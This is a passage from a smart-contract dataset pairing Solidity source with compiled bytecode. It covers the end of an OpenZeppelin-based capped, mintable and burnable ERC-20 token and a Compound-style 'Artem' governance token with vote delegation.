totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* openzeppelin-solidity@1.9.0/contracts/token/ERC20/MintableToken.sol
*/
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* openzeppelin-solidity@1.9.0/contracts/token/ERC20/CappedToken.sol
*/
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
/**
* DNC Token, totalSupply 100000000000000000
*/
contract OxtToken is BurnableToken, CappedToken(100000000000000000) {
string public name = "OXT Token";
string public symbol = "OXT";
uint8 public decimals = 8;
function burn(uint256 _value) onlyOwner public {
super.burn(_value);
}
} | 0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde031461012e578063095ea7b3146101bc57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b8578063355274ea146102e757806340c10f191461031057806342966c681461036a578063661884631461038d57806370a08231146103e75780637d64bcb4146104345780638da5cb5b1461046157806395d89b41146104b6578063a9059cbb14610544578063d73dd6231461059e578063dd62ed3e146105f8578063f2fde38b14610664575b600080fd5b341561010c57600080fd5b61011461069d565b604051808215151515815260200191505060405180910390f35b341561013957600080fd5b6101416106b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610181578082015181840152602081019050610166565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c757600080fd5b6101fc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061074e565b604051808215151515815260200191505060405180910390f35b341561022157600080fd5b610229610840565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061084a565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb610c04565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa610c17565b6040518082815260200191505060405180910390f35b341561031b57600080fd5b610350600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c1d565b604051808215151515815260200191505060405180910390f35b341561037557600080fd5b61038b6004808035906020019091905050610cce565b005b341561039857600080fd5b6103cd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d36565b604051808215151515815260200191505060405180910390f35b34156103f257600080fd5b61041e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fc7565b6040518082815260200191505060405180910390f35b341561043f57600080fd5b61044761100f565b604051808215151515815260200191505060405180910390f35b341561046c57600080fd5b6104746110d7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c157600080fd5b6104c96110fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105095780820151818401526020810190506104ee565b50505050905090810190601f1680156105365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561054f57600080fd5b610584600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061119b565b604051808215151515815260200191505060405180910390f35b34156105a957600080fd5b6105de600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113ba565b604051808215151515815260200191505060405180910390f35b341561060357600080fd5b61064e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115b6565b6040518082815260200191505060405180910390f35b341561066f57600080fd5b61069b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061163d565b005b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107465780601f1061071b57610100808354040283529160200191610746565b820191906000526020600020905b81548152906001019060200180831161072957829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561088757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108d457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561095f57600080fd5b6109b0826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a43826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ae90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b60045481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c7b57600080fd5b600360149054906101000a900460ff16151515610c9757600080fd5b600454610caf836001546117ae90919063ffffffff16565b11151515610cbc57600080fd5b610cc683836117ca565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d2a57600080fd5b610d33816119b0565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610edb565b610e5a838261179590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106d57600080fd5b600360149054906101000a900460ff1615151561108957600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111935780601f1061116857610100808354040283529160200191611193565b820191906000526020600020905b81548152906001019060200180831161117657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111d857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561122557600080fd5b611276826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611309826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ae90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061144b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ae90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116d557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156117a357fe5b818303905092915050565b600081830190508281101515156117c157fe5b80905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561182857600080fd5b600360149054906101000a900460ff1615151561184457600080fd5b611859826001546117ae90919063ffffffff16565b6001819055506118b0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ae90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6119ba33826119bd565b50565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611a0a57600080fd5b611a5b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ab28160015461179590919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a7230582027674f7d4d6c3aa2c4cc7fe005d96d85144c92a7d154183109256d0cbbba320f0029 | {"success": true, "error": null, "results": {}} | 948 |
0x77df79539083dcd4a8898dba296d899afef20067 | pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract Artem {
/// @notice EIP-20 token name for this token
string public constant name = "Artem";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "ARTT";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 4204800e18; // 4.2 million Artem
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Artem token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Artem::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Artem::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Artem::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Artem::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Artem::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Artem::delegateBySig: invalid nonce");
require(now <= expiry, "Artem::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b9190611739565b60405180910390f35b6101576101523660046111ff565b6102e2565b60405161013b919061168f565b61016c61039f565b60405161013b919061169d565b61016c6103ae565b61015761018f3660046111b2565b6103c5565b61019c61050a565b60405161013b91906117d3565b6101bc6101b7366004611152565b61050f565b60405161013b9190611681565b6101dc6101d7366004611152565b61052a565b005b6101f16101ec366004611152565b610537565b60405161013b91906117aa565b61016c61020c366004611152565b61054f565b61022461021f3660046111ff565b610573565b60405161013b91906117ef565b61016c61023f366004611152565b61078a565b61012e61079c565b61015761025a3660046111ff565b6107bc565b61022461026d366004611152565b6107f8565b6101dc61028036600461122f565b610868565b61016c610293366004611178565b610a4f565b61016c610a81565b6102b36102ae3660046112b6565b610a8d565b60405161013b9291906117b8565b60405180604001604052806005815260200164417274656d60d81b81525081565b6000806000198314156102f8575060001961031d565b61031a83604051806060016040528060268152602001611a2360269139610ac2565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061038b9085906117e1565b60405180910390a360019150505b92915050565b6a037a66aa2c9ecf0400000081565b6040516103ba9061166b565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602680845291936001600160601b0390911692859261041b9288929190611a2390830139610ac2565b9050866001600160a01b0316836001600160a01b03161415801561044857506001600160601b0382811614155b156104f057600061047283836040518060600160405280603e8152602001611966603e9139610af1565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104e69085906117e1565b60405180910390a3505b6104fb878783610b30565b600193505050505b9392505050565b601281565b6002602052600090815260409020546001600160a01b031681565b6105343382610cdb565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b600043821061059d5760405162461bcd60e51b81526004016105949061175a565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105cb576000915050610399565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610647576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b03169050610399565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff16831015610682576000915050610399565b600060001982015b8163ffffffff168163ffffffff16111561074557600282820363ffffffff160481036106b461110f565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610720576020015194506103999350505050565b805163ffffffff168711156107375781935061073e565b6001820392505b505061068a565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b604051806040016040528060048152602001631054951560e21b81525081565b6000806107e18360405180606001604052806027815260200161190b60279139610ac2565b90506107ee338583610b30565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610823576000610503565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108769061166b565b604080519182900382208282019091526005825264417274656d60d81b6020909201919091527fa0cc8a0168b634b7f97bac93a69d4c4c1ba49b0250d3a1534fdcfa81ed5be28f6108c5610d65565b306040516020016108d994939291906116e9565b60405160208183030381529060405280519060200120905060006040516108ff90611676565b60405190819003812061091a918a908a908a906020016116ab565b6040516020818303038152906040528051906020012090506000828260405160200161094792919061163a565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610984949392919061171e565b6020604051602081039080840390855afa1580156109a6573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166109d95760405162461bcd60e51b81526004016105949061179a565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a185760405162461bcd60e51b81526004016105949061174a565b87421115610a385760405162461bcd60e51b81526004016105949061177a565b610a42818b610cdb565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103ba90611676565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610ae95760405162461bcd60e51b81526004016105949190611739565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b285760405162461bcd60e51b81526004016105949190611739565b505050900390565b6001600160a01b038316610b565760405162461bcd60e51b81526004016105949061178a565b6001600160a01b038216610b7c5760405162461bcd60e51b81526004016105949061176a565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610bc7936001600160601b0390921692859291906118d590830139610af1565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610c2f94919091169285929091906119cc90830139610d69565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c9c9085906117e1565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610cd692918216911683610da5565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610d5f8284836